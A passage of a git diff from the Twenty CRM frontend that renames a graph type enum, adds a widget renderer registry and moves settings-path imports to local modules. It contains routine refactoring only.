+29,7 @@ export const mockPageLayoutWidgets: PageLayoutWidget[] = [ columnSpan: 3, }, configuration: { - graphType: GraphType.NUMBER, + graphType: GraphSubType.NUMBER, }, data: { value: '1,234', @@ -52,7 +52,7 @@ export const mockPageLayoutWidgets: PageLayoutWidget[] = [ columnSpan: 3, }, configuration: { - graphType: GraphType.GAUGE, + graphType: GraphSubType.GAUGE, }, data: { value: 0.5, @@ -77,7 +77,7 @@ export const mockPageLayoutWidgets: PageLayoutWidget[] = [ columnSpan: 6, }, configuration: { - graphType: GraphType.PIE, + graphType: GraphSubType.PIE, }, data: { items: [ @@ -130,7 +130,7 @@ export const mockPageLayoutWidgets: PageLayoutWidget[] = [ columnSpan: 4, }, configuration: { - graphType: GraphType.BAR, + graphType: GraphSubType.BAR, }, data: { items: [ diff --git a/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutCurrentTabIdForCreation.ts b/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutCurrentTabIdForCreation.ts new file mode 100644 index 0000000000..cf513be3e6 --- /dev/null +++ b/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutCurrentTabIdForCreation.ts @@ -0,0 +1,8 @@ +import { createState } from 'twenty-ui/utilities'; + +export const pageLayoutCurrentTabIdForCreationState = createState< + string | null +>({ + key: 'pageLayoutCurrentTabIdForCreationState', + defaultValue: null, +}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutDraftState.ts b/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutDraftState.ts index e6c21e9a26..e7b20c5fa6 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutDraftState.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/states/pageLayoutDraftState.ts @@ -11,6 +11,7 @@ export const pageLayoutDraftState = createState({ defaultValue: { name: '', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [], }, diff --git a/packages/twenty-front/src/modules/settings/page-layout/states/savedPageLayoutsState.ts b/packages/twenty-front/src/modules/settings/page-layout/states/savedPageLayoutsState.ts index c73da73da8..29a2a506c2 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/states/savedPageLayoutsState.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/states/savedPageLayoutsState.ts @@ -43,6 +43,7 @@ export type SavedPageLayout = { id: string; name: string; type: PageLayoutType; + workspaceId?: string; objectMetadataId?: string | null; tabs: PageLayoutTab[]; createdAt: string; diff --git a/packages/twenty-front/src/modules/settings/page-layout/utils/__tests__/convertLayoutsToWidgets.test.ts b/packages/twenty-front/src/modules/settings/page-layout/utils/__tests__/convertLayoutsToWidgets.test.ts index fc917b473a..b697a866a9 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/utils/__tests__/convertLayoutsToWidgets.test.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/utils/__tests__/convertLayoutsToWidgets.test.ts @@ -1,4 +1,4 @@ -import { GraphType, WidgetType } from '../../mocks/mockWidgets'; +import { GraphSubType, WidgetType } from '../../mocks/mockWidgets'; import { type PageLayoutWidget } from '../../states/savedPageLayoutsState'; import { convertLayoutsToWidgets } from '../convertLayoutsToWidgets'; @@ -17,7 +17,7 @@ describe('convertLayoutsToWidgets', () => { columnSpan: 2, }, configuration: { - graphType: GraphType.NUMBER, + graphType: GraphSubType.NUMBER, }, data: { value: 100 }, createdAt: '2024-01-01T00:00:00Z', @@ -37,7 +37,7 @@ describe('convertLayoutsToWidgets', () => { columnSpan: 2, }, configuration: { - graphType: GraphType.PIE, + graphType: GraphSubType.PIE, }, data: { items: [] }, createdAt: '2024-01-01T00:00:00Z', diff --git a/packages/twenty-front/src/modules/settings/page-layout/utils/getDefaultWidgetData.ts b/packages/twenty-front/src/modules/settings/page-layout/utils/getDefaultWidgetData.ts index ef12e54118..6370e87eed 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/utils/getDefaultWidgetData.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/utils/getDefaultWidgetData.ts @@ -1,14 +1,14 @@ -import { GraphType } from '../mocks/mockWidgets'; +import { GraphSubType } from '../mocks/mockWidgets'; -export const getDefaultWidgetData = (graphType: GraphType) => { +export const getDefaultWidgetData = (graphType: GraphSubType) => { switch (graphType) { - case GraphType.NUMBER: + case GraphSubType.NUMBER: return { value: '1,234', trendPercentage: 15.2, }; - case GraphType.GAUGE: + case GraphSubType.GAUGE: return { value: 0.7, min: 0, @@ -16,7 +16,7 @@ export const getDefaultWidgetData = (graphType: GraphType) => { label: 'Progress', }; - case GraphType.PIE: + case GraphSubType.PIE: return { items: [ { id: 'segment1', value: 35, label: 'Segment A' }, @@ -26,7 +26,7 @@ export const getDefaultWidgetData = (graphType: GraphType) => { ], }; - case GraphType.BAR: + case GraphSubType.BAR: return { items: [ { category: 'Jan', value: 45 }, @@ -46,26 +46,29 @@ export const getDefaultWidgetData = (graphType: GraphType) => { } }; -export const getWidgetTitle = (graphType: GraphType, index: number): string => { - const baseNames: Record = { - [GraphType.NUMBER]: 'Number', - [GraphType.GAUGE]: 'Gauge', - [GraphType.PIE]: 'Pie Chart', - [GraphType.BAR]: 'Bar Chart', +export const getWidgetTitle = ( + graphType: GraphSubType, + index: number, +): string => { + const baseNames: Record = { + [GraphSubType.NUMBER]: 'Number', + [GraphSubType.GAUGE]: 'Gauge', + [GraphSubType.PIE]: 'Pie Chart', + [GraphSubType.BAR]: 'Bar Chart', }; return `${baseNames[graphType] || 'Widget'} ${index + 1}`; }; -export const getWidgetSize = (graphType: GraphType) => { +export const getWidgetSize = (graphType: GraphSubType) => { switch (graphType) { - case GraphType.NUMBER: + case GraphSubType.NUMBER: return { w: 3, h: 2 }; - case GraphType.GAUGE: + case GraphSubType.GAUGE: return { w: 3, h: 3 }; - case GraphType.PIE: + case GraphSubType.PIE: return { w: 4, h: 4 }; - case GraphType.BAR: + case GraphSubType.BAR: return { w: 6, h: 4 }; default: return { w: 4, h: 4 }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/utils/graphRegistry.tsx b/packages/twenty-front/src/modules/settings/page-layout/utils/graphRegistry.tsx new file mode 100644 index 0000000000..c9a8547678 --- /dev/null +++ b/packages/twenty-front/src/modules/settings/page-layout/utils/graphRegistry.tsx @@ -0,0 +1,71 @@ +import { GraphWidgetBarChart } from '@/dashboards/widgets/graph/components/GraphWidgetBarChart'; +import { GraphWidgetGaugeChart } from '@/dashboards/widgets/graph/components/GraphWidgetGaugeChart'; +import { GraphWidgetNumberChart } from '@/dashboards/widgets/graph/components/GraphWidgetNumberChart'; +import { GraphWidgetPieChart } from '@/dashboards/widgets/graph/components/GraphWidgetPieChart'; +import { type ReactNode } from 'react'; +import { GraphSubType } from '../mocks/mockWidgets'; +import { type PageLayoutWidget } from '../states/savedPageLayoutsState'; + +type GraphRenderer = (widget: PageLayoutWidget) => ReactNode; + +const graphRenderers: Record = { + [GraphSubType.NUMBER]: (widget) => ( + + ), + [GraphSubType.GAUGE]: (widget) => ( + + ), + [GraphSubType.PIE]: (widget) => ( + + ), + [GraphSubType.BAR]: (widget) => ( + + ), +}; + +export const renderGraphWidget = (widget: PageLayoutWidget): ReactNode => { + const graphType = widget.configuration?.graphType; + + if (!graphType || typeof graphType !== 'string') { + return null; + } + + if (!Object.values(GraphSubType).includes(graphType as GraphSubType)) { + return null; + } + + const renderer = graphRenderers[graphType as GraphSubType]; + if (!renderer) { + return null; + } + + return renderer(widget); +}; diff --git a/packages/twenty-front/src/modules/settings/page-layout/components/WidgetRenderer.tsx b/packages/twenty-front/src/modules/settings/page-layout/utils/widgetRegistry.tsx similarity index 71% rename from packages/twenty-front/src/modules/settings/page-layout/components/WidgetRenderer.tsx rename to packages/twenty-front/src/modules/settings/page-layout/utils/widgetRegistry.tsx index 1eb0fedaa0..9adb4324e9 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/components/WidgetRenderer.tsx +++ b/packages/twenty-front/src/modules/settings/page-layout/utils/widgetRegistry.tsx @@ -1,17 +1,14 @@ import { IframeWidget } from '@/dashboards/widgets/iframe/components/IframeWidget'; import { isString } from '@sniptt/guards'; +import { type ReactNode } from 'react'; import { WidgetType } from '../mocks/mockWidgets'; import { type PageLayoutWidget } from '../states/savedPageLayoutsState'; -import { GraphWidgetRenderer } from './GraphWidgetRenderer'; +import { renderGraphWidget } from './graphRegistry'; -type WidgetRendererProps = { - widget: PageLayoutWidget; -}; - -export const WidgetRenderer = ({ widget }: WidgetRendererProps) => { +export const renderWidget = (widget: PageLayoutWidget): ReactNode => { switch (widget.type) { case WidgetType.GRAPH: - return ; + return renderGraphWidget(widget); case WidgetType.IFRAME: { const url = widget.configuration?.url; diff --git a/packages/twenty-front/src/modules/settings/playground/components/PlaygroundSetupForm.tsx b/packages/twenty-front/src/modules/settings/playground/components/PlaygroundSetupForm.tsx index 6a5edf89c6..b63227f803 100644 --- a/packages/twenty-front/src/modules/settings/playground/components/PlaygroundSetupForm.tsx +++ b/packages/twenty-front/src/modules/settings/playground/components/PlaygroundSetupForm.tsx @@ -3,6 +3,7 @@ import { SETTINGS_PLAYGROUND_FORM_SCHEMA_SELECT_OPTIONS } from '@/settings/playg import { playgroundApiKeyState } from '@/settings/playground/states/playgroundApiKeyState'; import { PlaygroundSchemas } from '@/settings/playground/types/PlaygroundSchemas'; import { PlaygroundTypes } from '@/settings/playground/types/PlaygroundTypes'; +import { SettingsPath } from '@/types/SettingsPath'; import { Select } from '@/ui/input/components/Select'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import styled from '@emotion/styled'; @@ -10,7 +11,6 @@ import { zodResolver } from '@hookform/resolvers/zod'; import { useLingui } from '@lingui/react/macro'; import { Controller, useForm } from 'react-hook-form'; import { useRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { IconApi, IconBrandGraphql } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { z } from 'zod'; diff --git a/packages/twenty-front/src/modules/settings/playground/components/RestPlayground.tsx b/packages/twenty-front/src/modules/settings/playground/components/RestPlayground.tsx index c75574ae9e..eeecf6745e 100644 --- a/packages/twenty-front/src/modules/settings/playground/components/RestPlayground.tsx +++ b/packages/twenty-front/src/modules/settings/playground/components/RestPlayground.tsx @@ -1,13 +1,13 @@ import { playgroundApiKeyState } from '@/settings/playground/states/playgroundApiKeyState'; import { type PlaygroundSchemas } from '@/settings/playground/types/PlaygroundSchemas'; +import { SettingsPath } from '@/types/SettingsPath'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { lazy, Suspense } from 'react'; import Skeleton, { SkeletonTheme } from 'react-loading-skeleton'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { REACT_APP_SERVER_BASE_URL } from '~/config'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledContainer = styled.div` border: 1px solid ${({ theme }) => theme.border.color.medium}; diff --git a/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesContainer.tsx b/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesContainer.tsx index 8cef5dca32..4af03e09bb 100644 --- a/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesContainer.tsx +++ b/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesContainer.tsx @@ -1,6 +1,6 @@ -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsRoleDefaultRole } from '@/settings/roles/components/SettingsRolesDefaultRole'; diff --git a/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesList.tsx b/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesList.tsx index 7c72d597e4..6e57cc7a7d 100644 --- a/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesList.tsx +++ b/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesList.tsx @@ -6,13 +6,13 @@ import { SettingsRolesTableHeader } from '@/settings/roles/components/SettingsRo import { SettingsRolesTableRow } from '@/settings/roles/components/SettingsRolesTableRow'; import { ROLES_LIST_TABS } from '@/settings/roles/constants/RolesListTabs'; import { settingsAllRolesSelector } from '@/settings/roles/states/settingsAllRolesSelector'; +import { SettingsPath } from '@/types/SettingsPath'; import { TabList } from '@/ui/layout/tab-list/components/TabList'; import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; import { TableCell } from '@/ui/layout/table/components/TableCell'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { H2Title, IconKey, diff --git a/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesTableRow.tsx b/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesTableRow.tsx index adc50264c4..d000019792 100644 --- a/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesTableRow.tsx +++ b/packages/twenty-front/src/modules/settings/roles/components/SettingsRolesTableRow.tsx @@ -1,12 +1,12 @@ import { currentWorkspaceMembersState } from '@/auth/states/currentWorkspaceMembersState'; +import { SettingsPath } from '@/types/SettingsPath'; import { TableCell } from '@/ui/layout/table/components/TableCell'; import { TableRow } from '@/ui/layout/table/components/TableRow'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import React from 'react'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { AppTooltip, Avatar, @@ -15,7 +15,7 @@ import { TooltipDelay, useIcons, } from 'twenty-ui/display'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { type RoleWithPartialMembers } from '../types/RoleWithPartialMembers'; const StyledAssignedText = styled.div` diff --git a/packages/twenty-front/src/modules/settings/roles/role-assignment/components/SettingsRoleAssignment.tsx b/packages/twenty-front/src/modules/settings/roles/role-assignment/components/SettingsRoleAssignment.tsx index 20f12b207f..fff11f05f8 100644 --- a/packages/twenty-front/src/modules/settings/roles/role-assignment/components/SettingsRoleAssignment.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role-assignment/components/SettingsRoleAssignment.tsx @@ -8,13 +8,13 @@ import { SettingsRoleAssignmentConfirmationModal } from '@/settings/roles/role-a import { type SettingsRoleAssignmentConfirmationModalSelectedRoleTarget } from '@/settings/roles/role-assignment/types/SettingsRoleAssignmentConfirmationModalSelectedRoleTarget'; import { settingsAllRolesSelector } from '@/settings/roles/states/settingsAllRolesSelector'; import { settingsDraftRoleFamilyState } from '@/settings/roles/states/settingsDraftRoleFamilyState'; +import { SettingsPath } from '@/types/SettingsPath'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { isModalOpenedComponentState } from '@/ui/layout/modal/states/isModalOpenedComponentState'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { useState } from 'react'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { useFindManyAgentsQuery, useGetApiKeysQuery, diff --git a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelObjectPicker.tsx b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelObjectPicker.tsx index 0db7cd7470..417d59e369 100644 --- a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelObjectPicker.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelObjectPicker.tsx @@ -2,12 +2,12 @@ import { SettingsCard } from '@/settings/components/SettingsCard'; import { useFilterObjectMetadataItemsWithPermissionOverride } from '@/settings/roles/role-permissions/object-level-permissions/hooks/useFilterObjectWithPermissionOverride'; import { useObjectMetadataItemsThatCanHavePermission } from '@/settings/roles/role-permissions/object-level-permissions/hooks/useObjectMetadataItemsThatCanHavePermission'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { t } from '@lingui/core/macro'; import { useState } from 'react'; -import { SettingsPath } from 'twenty-shared/types'; import { H2Title, IconSearch, useIcons } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; diff --git a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelSection.tsx b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelSection.tsx index d36717b028..65a6a08b6f 100644 --- a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelSection.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelSection.tsx @@ -2,11 +2,11 @@ import { SettingsRolePermissionsObjectLevelTableHeader } from '@/settings/roles/ import { SettingsRolePermissionsObjectLevelTableRow } from '@/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelTableRow'; import { useFilterObjectMetadataItemsWithPermissionOverride } from '@/settings/roles/role-permissions/object-level-permissions/hooks/useFilterObjectWithPermissionOverride'; import { useObjectMetadataItemsThatCanHavePermission } from '@/settings/roles/role-permissions/object-level-permissions/hooks/useObjectMetadataItemsThatCanHavePermission'; +import { SettingsPath } from '@/types/SettingsPath'; import { Table } from '@/ui/layout/table/components/Table'; import { TableCell } from '@/ui/layout/table/components/TableCell'; import styled from '@emotion/styled'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconPlus } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; diff --git a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelTableRow.tsx b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelTableRow.tsx index 1e914f6dba..dc63d485b2 100644 --- a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelTableRow.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelTableRow.tsx @@ -3,17 +3,17 @@ import { SettingsRolePermissionsObjectLevelOverrideCellContainer } from '@/setti import { SettingsRolePermissionsObjectLevelSeeFieldsValueForObject } from '@/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelSeeFieldsValueForObject'; import { SettingsRolePermissionsObjectLevelUpdateFieldsValueForObject } from '@/settings/roles/role-permissions/object-level-permissions/components/SettingsRolePermissionsObjectLevelUpdateFieldsValueForObject'; import { OBJECT_LEVEL_PERMISSION_TABLE_GRID_AUTO_COLUMNS } from '@/settings/roles/role-permissions/object-level-permissions/constants/ObjectLevelPermissionTableGridAutoColumns'; +import { SettingsPath } from '@/types/SettingsPath'; import { TableCell } from '@/ui/layout/table/components/TableCell'; import { TableRow } from '@/ui/layout/table/components/TableRow'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconChevronRight, OverflowingTextWithTooltip, useIcons, } from 'twenty-ui/display'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledNameTableCell = styled(TableCell)` color: ${({ theme }) => theme.font.color.primary}; diff --git a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/object-form/components/SettingsRolePermissionsObjectLevelObjectForm.tsx b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/object-form/components/SettingsRolePermissionsObjectLevelObjectForm.tsx index 77e2ead965..2be4a072d5 100644 --- a/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/object-form/components/SettingsRolePermissionsObjectLevelObjectForm.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role-permissions/object-level-permissions/object-form/components/SettingsRolePermissionsObjectLevelObjectForm.tsx @@ -3,12 +3,12 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContain import { SettingsRolePermissionsObjectLevelObjectFieldPermissionTable } from '@/settings/roles/role-permissions/object-level-permissions/field-permissions/components/SettingsRolePermissionsObjectLevelObjectFieldPermissionTable'; import { SettingsRolePermissionsObjectLevelObjectFormObjectLevel } from '@/settings/roles/role-permissions/object-level-permissions/object-form/components/SettingsRolePermissionsObjectLevelObjectFormObjectLevel'; import { settingsDraftRoleFamilyState } from '@/settings/roles/states/settingsDraftRoleFamilyState'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { t } from '@lingui/core/macro'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { Button } from 'twenty-ui/input'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsRolePermissionsObjectLevelObjectFormProps = { roleId: string; diff --git a/packages/twenty-front/src/modules/settings/roles/role-settings/components/SettingsRoleSettingsDeleteRoleConfirmationModal.tsx b/packages/twenty-front/src/modules/settings/roles/role-settings/components/SettingsRoleSettingsDeleteRoleConfirmationModal.tsx index ecd1c0962e..0b5f2a4f42 100644 --- a/packages/twenty-front/src/modules/settings/roles/role-settings/components/SettingsRoleSettingsDeleteRoleConfirmationModal.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role-settings/components/SettingsRoleSettingsDeleteRoleConfirmationModal.tsx @@ -1,8 +1,8 @@ import { ROLE_SETTINGS_DELETE_ROLE_CONFIRMATION_MODAL_ID } from '@/settings/roles/role-settings/components/constants/RoleSettingsDeleteRoleConfirmationModalId'; import { SettingsRoleSettingsDeleteRoleConfirmationModalSubtitle } from '@/settings/roles/role-settings/components/SettingsRoleSettingsDeleteRoleConfirmationModalSubtitle'; +import { SettingsPath } from '@/types/SettingsPath'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { useDeleteOneRoleMutation } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; diff --git a/packages/twenty-front/src/modules/settings/roles/role/components/SettingsRole.tsx b/packages/twenty-front/src/modules/settings/roles/role/components/SettingsRole.tsx index 047bef5a57..1d8249143c 100644 --- a/packages/twenty-front/src/modules/settings/roles/role/components/SettingsRole.tsx +++ b/packages/twenty-front/src/modules/settings/roles/role/components/SettingsRole.tsx @@ -10,6 +10,7 @@ import { useSaveDraftRoleToDB } from '@/settings/roles/role/hooks/useSaveDraftRo import { settingsDraftRoleFamilyState } from '@/settings/roles/states/settingsDraftRoleFamilyState'; import { settingsPersistedRoleFamilyState } from '@/settings/roles/states/settingsPersistedRoleFamilyState'; import { settingsRolesIsLoadingState } from '@/settings/roles/states/settingsRolesIsLoadingState'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { TabList } from '@/ui/layout/tab-list/components/TabList'; @@ -19,13 +20,13 @@ import { useLoadCurrentUser } from '@/users/hooks/useLoadCurrentUser'; import { t } from '@lingui/core/macro'; import { useState } from 'react'; import { useRecoilState, useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { isDefined, getSettingsPath } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { IconLockOpen, IconSettings, IconUserPlus } from 'twenty-ui/display'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; import { getDirtyFields } from '~/utils/getDirtyFields'; import { isDeeplyEqual } from '~/utils/isDeeplyEqual'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsRoleProps = { roleId: string; diff --git a/packages/twenty-front/src/modules/settings/roles/role/hooks/useSaveDraftRoleToDB.ts b/packages/twenty-front/src/modules/settings/roles/role/hooks/useSaveDraftRoleToDB.ts index 3c2cb1e488..c2ca8b9048 100644 --- a/packages/twenty-front/src/modules/settings/roles/role/hooks/useSaveDraftRoleToDB.ts +++ b/packages/twenty-front/src/modules/settings/roles/role/hooks/useSaveDraftRoleToDB.ts @@ -6,9 +6,9 @@ import { useRemoveFieldPermissionInDraftRole } from '@/settings/roles/role-permi import { newFieldPermissionsFilter } from '@/settings/roles/role/hooks/utils/newFieldPermissionsFilter.util'; import { settingsDraftRoleFamilyState } from '@/settings/roles/states/settingsDraftRoleFamilyState'; import { settingsPersistedRoleFamilyState } from '@/settings/roles/states/settingsPersistedRoleFamilyState'; +import { SettingsPath } from '@/types/SettingsPath'; import { getOperationName } from '@apollo/client/utilities'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { useCreateOneRoleMutation, diff --git a/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCard.tsx b/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCard.tsx index 74efe45e55..0ae5173084 100644 --- a/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCard.tsx +++ b/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCard.tsx @@ -2,7 +2,7 @@ import { Link } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { currentWorkspaceState } from '@/auth/states/currentWorkspaceState'; import { SettingsCard } from '@/settings/components/SettingsCard'; @@ -14,9 +14,9 @@ import isPropValid from '@emotion/is-prop-valid'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useRecoilState, useRecoilValue } from 'recoil'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconKey } from 'twenty-ui/display'; import { useGetSsoIdentityProvidersQuery } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledLink = styled(Link, { shouldForwardProp: (prop) => isPropValid(prop) && prop !== 'isDisabled', diff --git a/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCardWrapper.tsx b/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCardWrapper.tsx index e5b2c1e67c..c6dddf82fe 100644 --- a/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCardWrapper.tsx +++ b/packages/twenty-front/src/modules/settings/security/components/SSO/SettingsSSOIdentitiesProvidersListCardWrapper.tsx @@ -4,8 +4,8 @@ import { SettingsListCard } from '@/settings/components/SettingsListCard'; import { SettingsSSOIdentityProviderRowRightContainer } from '@/settings/security/components/SSO/SettingsSSOIdentityProviderRowRightContainer'; import { SSOIdentitiesProvidersState } from '@/settings/security/states/SSOIdentitiesProvidersState'; import { guessSSOIdentityProviderIconByUrl } from '@/settings/security/utils/guessSSOIdentityProviderIconByUrl'; +import { SettingsPath } from '@/types/SettingsPath'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; export const SettingsSSOIdentitiesProvidersListCardWrapper = () => { diff --git a/packages/twenty-front/src/modules/settings/security/components/approvedAccessDomains/SettingsApprovedAccessDomainsListCard.tsx b/packages/twenty-front/src/modules/settings/security/components/approvedAccessDomains/SettingsApprovedAccessDomainsListCard.tsx index a3ab7e9eee..8c5fb131ae 100644 --- a/packages/twenty-front/src/modules/settings/security/components/approvedAccessDomains/SettingsApprovedAccessDomainsListCard.tsx +++ b/packages/twenty-front/src/modules/settings/security/components/approvedAccessDomains/SettingsApprovedAccessDomainsListCard.tsx @@ -1,6 +1,6 @@ import { Link, useNavigate } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsCard } from '@/settings/components/SettingsCard'; import { SettingsListCard } from '@/settings/components/SettingsListCard'; @@ -12,11 +12,11 @@ import { ApolloError } from '@apollo/client'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useRecoilState, useRecoilValue } from 'recoil'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconAt, IconMailCog, Status } from 'twenty-ui/display'; import { useGetApprovedAccessDomainsQuery } from '~/generated-metadata/graphql'; import { dateLocaleState } from '~/localization/states/dateLocaleState'; import { beautifyPastDateRelativeToNow } from '~/utils/date-utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledLink = styled(Link)` text-decoration: none; diff --git a/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTable.tsx b/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTable.tsx index e6ccf1b66f..f3330de0cc 100644 --- a/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTable.tsx +++ b/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTable.tsx @@ -2,14 +2,14 @@ 